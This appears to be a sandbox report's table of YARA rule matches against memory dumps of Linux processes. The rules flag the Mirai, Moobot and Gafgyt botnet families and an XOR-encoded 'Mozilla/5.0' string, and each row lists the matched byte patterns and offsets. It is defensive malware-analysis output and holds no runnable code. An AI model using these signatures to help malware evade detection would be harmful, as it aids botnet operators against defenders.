6838.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6636.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6636.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6636.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6636.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6636.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6636.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7136.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6495.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6495.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6495.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6495.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6495.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6495.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6838.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7327.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6885.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7255.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6761.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6590.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6590.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6590.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6590.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6590.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6590.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7355.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7355.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7355.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7355.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7355.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7355.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6994.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6783.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7296.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7299.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6512.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
